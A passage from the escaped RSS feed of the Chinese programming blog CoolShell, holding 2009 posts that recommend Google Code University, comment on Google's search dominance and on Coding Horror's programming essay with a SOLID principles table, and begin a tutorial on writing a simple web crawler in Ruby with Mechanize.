href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/37.html\">【引文】如何用Python往Google Spreadsheet上写数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/37.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>资源推荐: Google Code University</title>\n\t\t<link>https://coolshell.cn/articles/35.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/35.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 07:27:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=35</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如果你的专业课里有过不少计算机科学之类的内容，你可能还记得很多中文课本不太好读，其原因一方面有可能因为是课本里的语言（符号）粗制滥造，另一方面有可能是因为你的思...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/35.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/35.html\">资源推荐: Google Code University</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如果你的专业课里有过不少计算机科学之类的内容，你可能还记得很多中文课本不太好读，其原因一方面有可能因为是课本里的语言（符号）粗制滥造，另一方面有可能是因为你的思维方式不适应课本里的内容。</p>\n<p>我推荐所有能看懂英文的读者多去搜索一下英文世界里的教材，从而能够摆脱劣质教材或语言因素所带来的束缚。为什么推荐英文教材呢？大家可以参考一下英文教材编写者(计算机科学界大儒，图灵奖得住) <a href=\"http://www.cs.utexas.edu/users/EWD/\" target=\"_blank\">Dijkstra</a>对于自己写作上的要求：</p>\n<blockquote><p>At a given moment, the concept of polite mathematics emerged, the underlying idea of which is that, even if you have only 60 readers, it pays to spend an hour if by doing so you can save your average reader a minute…</p></blockquote>\n<p> <span id=\"more-35\"></span></p>\n<blockquote><p>翻译：任何时候，你（作者）在书中要解释一些带有数学成分的概念，你（作者）应该有这样的理念：哪怕这个内容只有60个读者，（作者）花1小时仔细推敲措辞从而省去每个普通读者的1分钟都是值得的…</p></blockquote>\n<p>这样的治学和写作精神是值得我们学习的，同时也是其作品质量和易懂程度的保障。这样的精神在<a href=\"http://www-cs-faculty.stanford.edu/~knuth/\" target=\"_blank\"> Donald Knuth</a> 在选择为教科书的符号系统和公式的排版上所做的努力中也是可以见到的。</p>\n<p>在这里推荐一下<a href=\"http://code.google.com/edu/\" target=\"_blank\">Google Code University</a>, 其中集合了一些计算机科学基础课程的国外大学讲义 （完全免费，组织甚好），其中包括了：数据结构，离散数学，分布式系统，自动机理论，计算机安全，图形学等。自己去探索一下吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/35.html\">资源推荐: Google Code University</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/35.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>读后感：房间里的大象：Google文化成为主导</title>\n\t\t<link>https://coolshell.cn/articles/33.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/33.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 07:26:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=33</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一篇有关Google在互联网市场已经造成垄断事实的文章。 这里有个有意思的英文常用表达： elephant in the (living) room （房间里的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/33.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/33.html\">读后感：房间里的大象：Google文化成为主导</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一篇有关<a href=\"http://www.codinghorror.com/blog/archives/001224.html\" target=\"_blank\">Google在互联网市场已经造成垄断事实的文章</a>。</p>\n<p>这里有个有意思的英文常用表达： elephant in the (living) room （房间里的一只大象），一般用来表达事情已经大到没办法睁一只眼闭一只眼了…例如：</p>\n<ul>\n<li>丈夫开始拿单位里年轻的姑娘的照片当壁纸</li>\n<li>公司虽然已经没有说要裁员，但是已经开始停止供应免费的厕所手纸</li>\n<li>我再举例子可能就有人要扔砖了</li>\n</ul>\n<p><span id=\"more-33\"></span></p>\n<p> </p>\n<p>互联网公司（不久的将来会延伸到很多非互联网公司）的成功，已经越来越依赖于自己能不能被搜索到，不能被搜索到的网页其实也就相当于不存在。而文中所点到的是一个大多数人已经知道的事实，那就是Google已经成为这个渠道无可厚非的“独裁者”。如果你是一位网站管理员并有系统的方法(例如：<a href=\"http://www.google.com/search?q=google+analytics\" target=\"_blank\">Google Analytics</a>) 统计用户的来源，你大概会明白这其中的比例 （如果你没有统计方法，估计你在向管理层要预算的时候很难量化）。下表是一个叫 Stack Overflow的网站统计的一个月内访问自己网站的用户中搜索用户的分布：</p>\n<blockquote><p>Search Engine<span> </span>Visits</p>\n<p>Google          3,417,919</p>\n<p>Yahoo           9,779</p>\n<p>Live            5,638</p>\n<p>Search          2,961</p>\n<p>AOL             1,274</p>\n<p>Ask             1,186</p>\n<p>MSN             1,177</p>\n<p>Altavista       202</p>\n<p>Yandex          191</p>\n<p>Seznam          103</p></blockquote>\n<p>是的，如果网站不能被搜到，基本上相当于不存在。</p>\n<p>Anyone else see the <strong>elephant in the room</strong>, there? No? （图片来源自 coding horror）</p>\n<p><a href=\"http://www.newyorker.com/online/2007/05/14/slideshow_070514_banksy?viewall=true\" target=\"_blank\"><img decoding=\"async\" style=\"display: block; cursor: hand;\" src=\"http://www.codinghorror.com/blog/images/banksy-elephant-in-room.jpg\" border=\"0\" alt=\"Banksy: elephant in room\" vspace=\"5\" width=\"560\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/33.html\">读后感：房间里的大象：Google文化成为主导</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/33.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>读后感：真正编程的力量</title>\n\t\t<link>https://coolshell.cn/articles/29.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/29.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 06:03:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=29</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>读到 coding horror (不知道中文翻译是什么，“代码恐慌”？) 中的文章 Real Ultimate Programming Power 文中讲到了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/29.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/29.html\">读后感：真正编程的力量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>读到 <a href=\"http://www.codinghorror.com/blog/\" target=\"_blank\">coding horror</a> (不知道中文翻译是什么，“代码恐慌”？) 中的文章 <a class=\"title-link\" href=\"http://www.codinghorror.com/blog/archives/000856.html\" target=\"_blank\">Real Ultimate Programming Power</a></p>\n<p>文中讲到了软件开发中的方法论和其的演化，但是最让人觉得有意思的是两个引述：</p>\n<blockquote><p>The majority of developers do not suffer from too much design patterns, or too much SOLID, or agile, or waterfall for that matter. They suffer from whipping out cowboy code in a pure chaos environment, using simplistic drag &amp; drop, data driven, vb-like techniques.</p>\n<p>翻译： 让大多数软件开发者痛苦的，不是过多的设计模式，过多的SOLID(见注解), 过多的敏捷开发，或者瀑布模型；让大多数开发者痛苦的是在混乱的环境中用低级方式除去代码仙人留下来的古怪代码（好吧，这是我对cowboy code的曲解）。</p></blockquote>\n<p><span id=\"more-29\"></span></p>\n<blockquote><p>But here’s the paradox: the types of programmers who would most benefit from these guidelines, rules, principles, and checklists are the least likely to read and follow them. <strong>Throwing a book of rules at a terrible programmer just creates a terrible programmer with a bruise on their head where the book bounced off.</strong></p>\n<p>翻译：…悖论的是，那些最能够从编程指导，规矩，原则和核对清单等方法中收益的人往往是那些最少读这些东西的人。把一本有关编程原则的书扔向一个烂程序员，顶多也就是让他脑袋上多一块淤青，书被弹回来而已。</p></blockquote>\n<p> </p>\n<p>流程对生产软件的作用可能是只有站在改造IBM的Peter Drucker那个高度的人才有价值的（但是，当你站在足够远的地方，地球不也就是一个蓝色的小点儿么？） 一个好的软件的产生，往往还是需要英雄人物的带领，剩下来的，还是人的问题。</p>\n<p>附录：文中引到了一个很有价值的<a href=\"http://www.codinghorror.com/blog/archives/000020.html\" target=\"_blank\">书目 (reading list)</a>： 从《代码大全》，《人月神话》，《点石成金》到《编程珠玑》、《精通正则表达式》，值得一览，在去书店的路上或者在当当网上闲荡的时候可以回顾一下。</p>\n<blockquote><p><a href=\"http://www.codinghorror.com/blog/archives/000020.html\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-106\" title=\"经典书目 - 截取自 coding horror 2004年的一篇博文\" src=\"https://coolshell.cn/wp-content/uploads/2009/02/ss.jpg\" alt=\"经典书目 - 截取自 coding horror 2004年的一篇博文\" width=\"285\" height=\"647\" /></a></p></blockquote>\n<p><strong>SOLID:</strong></p>\n<p>five principles are principles of <em>class design</em>. They are:</p>\n<table border=\"1\" cellspacing=\"0\">\n<tbody>\n<tr>\n<td><strong>SRP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/srp.pdf\" target=\"_blank\">The Single Responsibility Principle</a></td>\n<td><em>A class should have one, and only one, reason to change.</em></td>\n</tr>\n<tr>\n<td><strong>OCP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/ocp.pdf\" target=\"_blank\">The Open Closed Principle</a></td>\n<td><em>You should be able to extend a classes behavior, without modifying it.</em></td>\n</tr>\n<tr>\n<td><strong>LSP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/lsp.pdf\" target=\"_blank\">The Liskov Substitution Principle</a></td>\n<td><em>Derived classes must be substitutable for their base classes.</em></td>\n</tr>\n<tr>\n<td><strong>DIP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/dip.pdf\" target=\"_blank\">The Dependency Inversion Principle</a></td>\n<td><em>Depend on abstractions, not on concretions.</em></td>\n</tr>\n<tr>\n<td><strong>ISP</strong></td>\n<td><a href=\"http://www.objectmentor.com/resources/articles/isp.pdf\" target=\"_blank\">The Interface Segregation Principle</a></td>\n<td><em>Make fine grained interfaces that are client specific.</em></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4844.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"“另类” 设计模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4844.html\" class=\"wp_rp_title\">“另类” 设计模式</a></li><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"如何加密/混乱C源代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/933.html\" class=\"wp_rp_title\">如何加密/混乱C源代码</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/7480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/jslint-150x150.jpg\" alt=\"Javascript 中的 var\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7480.html\" class=\"wp_rp_title\">Javascript 中的 var</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/29.html\">读后感：真正编程的力量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/29.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何自己写一个网络爬虫</title>\n\t\t<link>https://coolshell.cn/articles/27.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/27.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 06:02:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Crawler]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=27</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里是维基百科对网络爬虫的词条页面。网络爬虫以叫网络蜘蛛，网络机器人，这是一个程序，其会自动的通过网络抓取互联网上的网页，这种技术一般可能用来检查你的站点上所有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/27.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/27.html\">如何自己写一个网络爬虫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://en.wikipedia.org/wiki/Web_spider\" target=\"_blank\">这里</a>是维基百科对网络爬虫的词条页面。网络爬虫以叫网络蜘蛛，网络机器人，这是一个程序，其会自动的通过网络抓取互联网上的网页，这种技术一般可能用来检查你的站点上所有的链接是否是都是有效的。当然，更为高级的技术是把网页中的相关数据保存下来，可以成为搜索引擎。</p>\n<p>从技相来说，实现抓取网页可能并不是一件很困难的事情，困难的事情是对网页的分析和整理，那是一件需要有轻量智能，需要大量数学计算的程序才能做的事情。下面一个简单的流程：</p>\n<p><span id=\"more-27\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/df/WebCrawlerArchitecture.svg/500px-WebCrawlerArchitecture.svg.png\" alt=\"\" width=\"500\" height=\"382\" /></p>\n<p>在这里，我们只是说一下如何写一个网页抓取程序。</p>\n<p>首先我们先看一下，如何使用命令行的方式来找开网页。</p>\n<p style=\"padding-left: 30px; text-align: left;\">telnet somesite.com 80<br />\nGET /index.html HTTP/1.0<br />\n按回车两次</p>\n<p style=\"text-align: left;\">使用telnet就是告诉你其实这是一个socket的技术，并且使用HTTP的协议，如GET方法来获得网页，当然，接下来的事你就需要解析HTML文法，甚至还需要解析Javascript，因为现在的网页使用Ajax的越来越多了，而很多网页内容都是通过Ajax技术加载的，因为，只是简单地解析HTML文件在未来会远远不够。当然，在这里，只是展示一个非常简单的抓取，简单到只能做为一个例子，下面这个示例的伪代码：</p>\n<pre>取网页\nfor each 链接 in 当前网页所有的链接\n{\n        if(如果本链接是我们想要的 || 这个链接从未访问过)\n        {\n                处理对本链接\n                把本链接设置为已访问\n        }\n}</pre>\n<pre class=\"ruby\">require “rubygems”\nrequire “mechanize”\n\nclass Crawler &lt; WWW::Mechanize\n\n  attr_accessor :callback\n  INDEX = 0\n  DOWNLOAD = 1\n  PASS = 2\n\n  def initialize\n    super\n    init\n    @first = true\n    self.user_agent_alias = “Windows IE 6″\n  end\n\n  def init\n    @visited = []\n  end\n\n  def remember(link)\n    @visited &lt;&lt; link\n  end\n\n  def perform_index(link)\n    self.get(link)\n    if(self.page.class.to_s == “WWW::Mechanize::Page”)\n      links = self.page.links.map {|link| link.href } - @visited\n      links.each do |alink|\n        start(alink)\n      end\n    end\n  end\n\n  def start(link)\n    return if link.nil?\n    if(!@visited.include?(link))\n      action = @callback.call(link)\n      if(@first)\n        @first = false\n        perform_index(link)\n      end\n      case action\n        when INDEX\n          perform_index(link)\n        when DOWNLOAD\n          self.get(link).save_as(File.basename(link))\n        when PASS\n          puts “passing on #{link}”\n      end\n    end\n  end\n\n  def get(site)\n    begin\n      puts “getting #{site}”\n      @visited &lt;&lt; site\n      super(site)\n    rescue\n      puts “error getting #{site}”\n    end\n  end\nend</pre>\n<p>上面的代码就不必多说了，大家可以去试试。下面是如何使用上面的代码：</p>\n<pre class=\"ruby\">require “crawler”\n\nx = Crawler.new\ncallback = lambda do |link|\n  if(link =~/\\\\.(zip|rar|gz|pdf|doc)\n    x.remember(link)\n    return Crawler::PASS\n  elsif(link =~/\\\\.(jpg|jpeg)/)\n    return Crawler::DOWNLOAD\n  end\n  return Crawler::INDEX;\nend\n\nx.callback = callback\nx.start(”http://somesite.com”)</pre>\n<p>下面是一些和网络爬虫相关的开源网络项目</p>\n<ul>\n<li><a class=\"external text\" title=\"http://arachnode.net\" rel=\"nofollow\" href=\"http://arachnode.net/\" target=\"_blank\"><strong>arachnode.net</strong></a> is a .NET crawler written in C# using SQL 2005 and <a title=\"Lucene\" href=\"http://en.wikipedia.org/wiki/Lucene\" target=\"_blank\">Lucene</a> and is released under the <a title=\"GNU General Public License\" href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\">GNU General Public License</a>.</li>\n<li><strong><a title=\"DataparkSearch\" href=\"http://en.wikipedia.org/wiki/DataparkSearch\" target=\"_blank\">DataparkSearch</a></strong> is a crawler and search engine released under the <a title=\"GNU General Public License\" href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\">GNU General Public License</a>.</li>\n<li><strong><a title=\"Wget\" href=\"http://en.wikipedia.org/wiki/Wget\" target=\"_blank\">GNU Wget</a></strong> is a <a class=\"mw-redirect\" title=\"Command line interface\" href=\"http://en.wikipedia.org/wiki/Command_line_interface\" target=\"_blank\">command-line</a>-operated crawler written in <a title=\"C (programming language)\" href=\"http://en.wikipedia.org/wiki/C_%28programming_language%29\" target=\"_blank\">C</a> and released under the <a title=\"GNU General Public License\" href=\"http://en.wikipedia.org/wiki/GNU_General_Public_License\" target=\"_blank\">GPL</a>. It is typically used to mirror Web and FTP sites.</li>\n<li><strong><a title=\"Grub (search engine)\" href=\"http://en.wikipedia.org/wiki/Grub_%28search_engine%29\" target=\"_blank\">GRUB</a></strong> is an open source distributed search crawler that Wikia Search ( <a class=\"external free\" 